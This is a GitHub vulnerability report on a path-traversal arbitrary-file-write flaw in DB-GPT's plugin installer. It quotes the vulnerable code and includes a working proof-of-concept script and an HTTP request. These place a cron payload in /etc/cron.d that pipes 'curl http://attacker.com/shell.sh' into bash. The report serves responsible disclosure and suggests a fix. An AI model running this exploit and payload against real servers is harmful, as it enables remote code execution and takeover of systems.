[Vulnerability][dbgpt.agent.resource.tool.autogpt]Path Traversal Leading to Arbitrary File Write via Plugin Install in eosphoros-ai/DB-GPT
Search before asking
- I had searched in the issues and found no similar issues.
Operating system information
MacOS(M1, M2...)
Python version information
=3.11
DB-GPT version
main
Related scenes
- Chat Data
- Chat Excel
- Chat DB
- Chat Knowledge
- Model Management
- Dashboard
- Plugins
Installation Information
AutoDL Image
Other
Device information
N/A — vulnerability is in server-side Python code, device-independent.
Models information
N/A — vulnerability is in plugin installation handler, not model-dependent.
What happened
Summary
A path-traversal vulnerability exists in eosphoros-ai/DB-GPT (PyPI: dbgpt==0.8.0) plugin installation handler that allows any client able to reach the DB-GPT API server to write attacker-controlled content at an arbitrary filesystem path reachable by the server UID.
The branch_name parameter — extracted from the user-supplied download_param JSON field via POST /api/v1/agent/hub/update — is interpolated directly into a file path via f-string without any sanitization, os.path.basename() call, or containment check. Combined with a TOCTOU race condition between the glob-based cleanup and the file write, this allows an attacker to write content fetched from an attacker-controlled URL to a path outside the intended plugins directory.
In a typical DB-GPT Docker deployment (running as root), this yields Remote Code Execution via cron payload injection.
Affected Component
- Repository: https://github.com/eosphoros-ai/DB-GPT
- Package:
dbgpt==0.8.0(PyPI, latest at audit time) - File:
dbgpt/agent/resource/tool/autogpt/plugins_util.py - Sink: Line 175-179:
file_name = ( f"{plugins_path_path}/{plugin_repo_name}-{branch_name}-{time_str}.zip" ) print(file_name) with open(file_name, "wb") as f: f.write(response.content) - Source:
branch_nameparameter, passed from:POST /api/v1/agent/hub/update→download_paramJSON field →branch_namekey- In the full server:
plugin_hub.py:121 install_plugin()→plugins_util.py:136 update_from_git()
- Weak validation (NOT a defense): Line 147:This only checks that the URL contains "github.com" — trivially bypassed by embedding "github.com" as a path segment in the attacker's URL (e.g.,
if github_repo.index("github.com") <= 0: raise ValueError("Not a correct Github repository address!" + github_repo)http://attacker.com/github.com/x/repo).
Vulnerability Details
The Vulnerable Function — update_from_git
# dbgpt/agent/resource/tool/autogpt/plugins_util.py, lines 136-189
def update_from_git(
download_path: str,
github_repo: str = "",
branch_name: str = "main", # ← ATTACKER CONTROLLED (no sanitization)
authorization: Optional[str] = None,
):
import requests
os.makedirs(download_path, exist_ok=True)
if github_repo:
if github_repo.index("github.com") <= 0: # ← weak: substring check only
raise ValueError(...)
github_repo = github_repo.replace(".git", "")
url = github_repo + "/archive/refs/heads/" + branch_name + ".zip"
plugin_repo_name = github_repo.strip("/").split("/")[-1]
else:
url = "https://github.com/eosphoros-ai/DB-GPT-Plugins/archive/refs/heads/main.zip"
plugin_repo_name = "DB-GPT-Plugins"
try:
session = requests.Session()
response = session.get(url, headers=headers)
if response.status_code == 200:
plugins_path_path = Path(download_path)
files = glob.glob(os.path.join(plugins_path_path, f"{plugin_repo_name}*"))
for file in files:
os.remove(file) # ← cleanup (glob + remove)
now = datetime.datetime.now()
time_str = now.strftime("%Y%m%d%H%M%S")
file_name = ( # ← PATH INJECTION
f"{plugins_path_path}/{plugin_repo_name}-{branch_name}-{time_str}.zip"
)
with open(file_name, "wb") as f: # ← ARBITRARY FILE WRITE
f.write(response.content) # ← ATTACKER-CONTROLLED CONTENT
return plugin_repo_name
except Exception as e:
raise ValueError("download plugin exception!", e)Path Traversal Mechanism
The f-string concatenation f"{plugins_path_path}/{plugin_repo_name}-{branch_name}-{time_str}.zip" creates a path where branch_name can contain / and .. path components.
With branch_name = "main/../../escape/pwn", the file path becomes:
/app/plugins/evil-plugin-main/../../escape/pwn-20260523.zipThe kernel resolves evil-plugin-main/../../ as traversal through an existing directory, allowing the write to land outside the plugins directory.
What you expected to happen
branch_name should be sanitized with os.path.basename() or a containment
check (resolved path must start with plugins base directory) before being
interpolated into a filesystem path. The current code allows path traversal
characters (../) to escape the intended directory.
How to reproduce
Proof of Concept
Environment
| Component | Version |
|---|---|
| dbgpt (PyPI) | 0.8.0 (latest) |
| Python | 3.11 |
| OS | macOS / Linux (any POSIX) |
Import
from dbgpt.agent.resource.tool.autogpt.plugins_util import update_from_git
assert (
update_from_git.__module__ == "dbgpt.agent.resource.tool.autogpt.plugins_util"
), "must come from real dbgpt package, not a mock"Exploit Mechanism
- Local HTTP server serves attacker-controlled payload (cron job content)
- TOCTOU race creates the anchor directory (
{repo}-main/) between glob-removal andopen() update_from_git()is called with:github_repo= URL containing "github.com" (bypasses weak validation)branch_name="main/../../escape/pwn"(path traversal)
- File is written OUTSIDE the plugins directory with attacker-controlled content
poc.py
from __future__ import annotations
import datetime
import os
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from unittest.mock import patch
from dbgpt.agent.resource.tool.autogpt.plugins_util import update_from_git
assert update_from_git.__module__ == "dbgpt.agent.resource.tool.autogpt.plugins_util"
WORKDIR = Path(tempfile.mkdtemp(prefix="dbgpt_poc_"))
PLUGINS_DIR = WORKDIR / "data" / "plugins"
PLUGINS_DIR.mkdir(parents=True)
ESCAPE_DIR = WORKDIR / "data" / "escape"
ESCAPE_DIR.mkdir(parents=True)
CRON_PAYLOAD = b"""\
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /bin/bash -c 'id > /tmp/dbgpt_pwned && curl http://attacker.com/shell.sh | bash'
"""
LISTEN_PORT = 18923
REPO_NAME = "evil-plugin"
BRANCH_NAME = "main/../../escape/pwn"
ANCHOR_DIR = PLUGINS_DIR / f"{REPO_NAME}-main"
ATTACKER_REPO = f"http://127.0.0.1:{LISTEN_PORT}/github.com/attacker/{REPO_NAME}"
class AttackerHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/zip")
self.send_header("Content-Length", str(len(CRON_PAYLOAD)))
self.end_headers()
self.wfile.write(CRON_PAYLOAD)
def log_message(self, *_):
pass
server = HTTPServer(("127.0.0.1", LISTEN_PORT), AttackerHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
_original_now = datetime.datetime.now
def _now_with_race(tz=None):
if not ANCHOR_DIR.exists():
ANCHOR_DIR.mkdir(parents=True)
return _original_now(tz) if tz else _original_now()
with patch("dbgpt.agent.resource.tool.autogpt.plugins_util.datetime") as mock_dt:
mock_dt.datetime.now = _now_with_race
mock_dt.datetime.strftime = datetime.datetime.strftime
try:
update_from_git(
download_path=str(PLUGINS_DIR),
github_repo=ATTACKER_REPO,
branch_name=BRANCH_NAME,
)
except Exception:
pass
escaped = list(ESCAPE_DIR.rglob("*.zip"))
if not escaped:
for f in WORKDIR.rglob("*.zip"):
if not str(f.resolve()).startswith(str(PLUGINS_DIR.resolve())):
escaped.append(f)
server.shutdown()
if not escaped:
print("[FAIL] no escape detected")
sys.exit(1)
for f in escaped:
resolved = f.resolve()
print(f"[!] ESCAPE: {resolved} ({resolved.stat().st_size} bytes)")
print(f" base: {PLUGINS_DIR}")
print(f" content:\n{resolved.read_bytes().decode()}")
sys.exit(0)
Result
HTTP Attack
POST /api/v1/agent/hub/update HTTP/1.1
Host: target:5670
Content-Type: application/json
{
"name": "exploit",
"storage_channel": "git",
"storage_url": "https://attacker.com/github.com/attacker/evil-repo",
"download_param": "{\"branch_name\":\"main/../../../../../etc/cron.d/pwn\"}"
}The attacker hosts a web server at attacker.com that serves a cron payload on the archive URL path. The storage_url contains "github.com" to bypass the substring check.
Additional context
No response
Are you willing to submit PR?
- Yes I am willing to submit a PR!
Source: eosphoros-ai/DB-GPT